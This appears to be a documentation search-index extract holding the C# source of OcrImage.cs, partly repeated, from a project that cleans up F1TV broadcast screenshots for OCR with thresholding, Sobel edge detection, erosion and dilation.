InputBitmap . Clone (); //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists switch ( type ) { case WindowType . Gap : //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\treshold_\" + id + \".png\"); outputBitmap = Resize ( outputBitmap , 2 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\resize_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; case WindowType . Sector : //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = VanishOxyAction ( outputBitmap ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\vanish_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 150 ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . LapTime : //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 185 ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\Treshold_\" + id + \".png\"); outputBitmap = SobelEdgeDetection ( outputBitmap ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\SobelDetection_\" + id + \".png\"); break ; case WindowType . Text : //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . Tyre : //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = RemoveUseless ( outputBitmap ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\uselessRemoved_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; default : outputBitmap = Tresholding ( outputBitmap , 165 ); outputBitmap = Resize ( outputBitmap , 2 ); outputBitmap = Erode ( outputBitmap , 1 ); break ; } return outputBitmap ; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); //This is not a proper treshold method but it is helping the sobel edge detection if ( gray <= F1TV_BACKGROUND_TRESHOLD . R ) { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } else { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) gray ; } } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR /// /// The image with the sobel edge detection used /// private Bitmap SobelEdgeDetection ( Bitmap grayscaleImage ) { // Create a new bitmap for the edges Bitmap edgesImage = new Bitmap ( grayscaleImage . Width , grayscaleImage . Height ); // Define the Sobel operators // Its just a matrix that we will use on the all image int [,] sobelX = { { - 1 , 0 , 1 }, { - 2 , 0 , 2 }, { - 1 , 0 , 1 } }; int [,] sobelY = { { - 1 , - 2 , - 1 }, { 0 , 0 , 0 }, { 1 , 2 , 1 } }; // Apply the Sobel operators and normalize the gradients // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible. for ( int y = 1 ; y < grayscaleImage . Height - 1 ; y ++) { for ( int x = 1 ; x < grayscaleImage . Width - 1 ; x ++) { int gradientX = CalculateGradient ( grayscaleImage , sobelX , x , y ); int gradientY = CalculateGradient ( grayscaleImage , sobelY , x , y ); int gradient = ( int ) Math . Sqrt ( gradientX * gradientX + gradientY * gradientY ); // Normalize the gradient value // In some rare cases the value can exceed 255 so we limit it with the Math.Min method gradient = Math . Min ( 255 , Math . Max ( 0 , gradient )); edgesImage . SetPixel ( x , y , Color . FromArgb ( gradient , gradient , gradient )); } } return edgesImage ; } /// /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method) /// /// The input image with the grayscale processing already done /// The matrix to apply /// /// /// Returns the processed gradient private int CalculateGradient ( Bitmap grayscaleImage , int [,] sobelOperator , int x , int y ) { int gradient = 0 ; for ( int j = - 1 ; j <= 1 ; j ++) { for ( int i = - 1 ; i <= 1 ; i ++) { int pixelX = grayscaleImage . GetPixel ( x + i , y + j ). R ; gradient += sobelOperator [ j + 1 , i + 1 ] * pixelX ; } } return gradient ; } /// /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling /// /// The bitmap to vanish /// public static Bitmap VanishOxyAction ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int blue = ( int ) pixel [ 0 ]; int green = ( int ) pixel [ 1 ]; int red = ( int ) pixel [ 2 ]; int max = Math . Max ( Math . Max ( blue , green ), red ); if ( max > 255 / 3 ) max = 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) max ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding ( Bitmap inputBitmap , int threshold ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); int value = gray < threshold ? 0 : 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) value ; } }); } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R <= F1TV_BACKGROUND_TRESHOLD . R && G <= F1TV_BACKGROUND_TRESHOLD . G && B <= F1TV_BACKGROUND_TRESHOLD . B ) pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless ( Bitmap inputBitmap ) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); List < int > pixelsToRemove = new List < int >(); bool fromBorder = true ; for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } fromBorder = true ; for ( int x = inputBitmap . Width - 1 ; x > 0 ; x --) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } foreach ( int pxPos in pixelsToRemove ) { byte * pixel = currentLine + ( pxPos * bytesPerPixel ); pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } //Removing the color parts for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R + 25 || G >= F1TV_BACKGROUND_TRESHOLD . G + 25 || B >= F1TV_BACKGROUND_TRESHOLD . B + 25 ) { pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; int totR = 0 ; int totG = 0 ; int totB = 0 ; int totPixels = 1 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R || G >= F1TV_BACKGROUND_TRESHOLD . G || B >= F1TV_BACKGROUND_TRESHOLD . B ) { totPixels ++; totB += pixel [ 0 ]; totG += pixel [ 1 ]; totR += pixel [ 2 ]; } } }); } inputBitmap . UnlockBits ( bmpData ); return Color . FromArgb ( 255 , Math . Min ( Convert . ToInt32 (( float ) totR / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totG / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totB / ( float ) totPixels ), 255 )); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); pixel [ 0 ] = ( byte )( 255 - pixel [ 0 ]); pixel [ 1 ] = ( byte )( 255 - pixel [ 1 ]); pixel [ 2 ] = ( byte )( 255 - pixel [ 2 ]); } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize ( Bitmap inputBitmap , int resizeFactor ) { var resultBitmap = new Bitmap ( inputBitmap . Width * resizeFactor , inputBitmap . Height * resizeFactor ); using ( var graphics = Graphics . FromImage ( resultBitmap )) { graphics . InterpolationMode = InterpolationMode . HighQualityBicubic ; graphics . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , resultBitmap . Width , resultBitmap . Height )); } return resultBitmap ; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours ( Bitmap inputBitmap ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); Bitmap grayscale = Grayscale ( inputBitmap ); Bitmap thresholded = Tresholding ( grayscale , 128 ); Bitmap dilated = Dilatation ( thresholded , 3 ); Bitmap eroded = Erode ( dilated , 3 ); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { for ( int x = 0 ; x < inputBitmap . Width ; x ++) { Color pixel = inputBitmap . GetPixel ( x , y ); Color dilatedPixel = dilated . GetPixel ( x , y ); Color erodedPixel = eroded . GetPixel ( x , y ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); int threshold = dilatedPixel . R ; if ( gray > threshold ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else if ( gray <= threshold && erodedPixel . R == 0 ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = true ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray >= 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = false ; break ; } } if (! flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = false ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray < 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = true ; break ; } } if ( flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } } } return outputBitmap ; } } }","title":"OcrImage.cs"},{"location":"Code/OcrImage.html#ocrimagecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Threading.Tasks ; using System.Drawing ; using System.Drawing.Drawing2D ; using System.Drawing.Imaging ; namespace TrackTrends { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Bitmap InputBitmap ; public enum WindowType { LapTime , Text , Sector , Gap , Tyre , } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage ( Bitmap inputBitmap ) { InputBitmap = inputBitmap ; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance ( WindowType type = WindowType . Text ) { Bitmap outputBitmap = ( Bitmap ) InputBitmap . Clone (); //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists switch ( type ) { case WindowType . Gap : //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\treshold_\" + id + \".png\"); outputBitmap = Resize ( outputBitmap , 2 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\resize_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; case WindowType . Sector : //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = VanishOxyAction ( outputBitmap ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\vanish_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 150 ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . LapTime : //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 185 ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\Treshold_\" + id + \".png\"); outputBitmap = SobelEdgeDetection ( outputBitmap ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\SobelDetection_\" + id + \".png\"); break ; case WindowType . Text : //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . Tyre : //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = RemoveUseless ( outputBitmap ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\uselessRemoved_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; default : outputBitmap = Tresholding ( outputBitmap , 165 ); outputBitmap = Resize ( outputBitmap , 2 ); outputBitmap = Erode ( outputBitmap , 1 ); break ; } return outputBitmap ; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); //This is not a proper treshold method but it is helping the sobel edge detection if ( gray <= F1TV_BACKGROUND_TRESHOLD . R ) { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } else { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) gray ; } } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR /// /// The image with the sobel edge detection used /// private Bitmap SobelEdgeDetection ( Bitmap grayscaleImage ) { // Create a new bitmap for the edges Bitmap edgesImage = new Bitmap ( grayscaleImage . Width , grayscaleImage . Height ); // Define the Sobel operators // Its just a matrix that we will use on the all image int [,] sobelX = { { - 1 , 0 , 1 }, { - 2 , 0 , 2 }, { - 1 , 0 , 1 } }; int [,] sobelY = { { - 1 , - 2 , - 1 }, { 0 , 0 , 0 }, { 1 , 2 , 1 } }; // Apply the Sobel operators and normalize the gradients // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible. for ( int y = 1 ; y < grayscaleImage . Height - 1 ; y ++) { for ( int x = 1 ; x < grayscaleImage . Width - 1 ; x ++) { int gradientX = CalculateGradient ( grayscaleImage , sobelX , x , y ); int gradientY = CalculateGradient ( grayscaleImage , sobelY , x , y ); int gradient = ( int ) Math . Sqrt ( gradientX * gradientX + gradientY * gradientY ); // Normalize the gradient value // In some rare cases the value can exceed 255 so we limit it with the Math.Min method gradient = Math . Min ( 255 , Math . Max ( 0 , gradient )); edgesImage . SetPixel ( x , y , Color . FromArgb ( gradient , gradient , gradient )); } } return edgesImage ; } /// /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method) /// /// The input image with the grayscale processing already done /// The matrix to apply /// /// /// Returns the processed gradient private int CalculateGradient ( Bitmap grayscaleImage , int [,] sobelOperator , int x , int y ) { int gradient = 0 ; for ( int j = - 1 ; j <= 1 ; j ++) { for ( int i = - 1 ; i <= 1 ; i ++) { int pixelX = grayscaleImage . GetPixel ( x + i , y + j ). R ; gradient += sobelOperator [ j + 1 , i + 1 ] * pixelX ; } } return gradient ; } /// /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling /// /// The bitmap to vanish /// public static Bitmap VanishOxyAction ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int blue = ( int ) pixel [ 0 ]; int green = ( int ) pixel [ 1 ]; int red = ( int ) pixel [ 2 ]; int max = Math . Max ( Math . Max ( blue , green ), red ); if ( max > 255 / 3 ) max = 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) max ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding ( Bitmap inputBitmap , int threshold ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); int value = gray < threshold ? 0 : 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) value ; } }); } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R <= F1TV_BACKGROUND_TRESHOLD . R && G <= F1TV_BACKGROUND_TRESHOLD . G && B <= F1TV_BACKGROUND_TRESHOLD . B ) pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless ( Bitmap inputBitmap ) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode 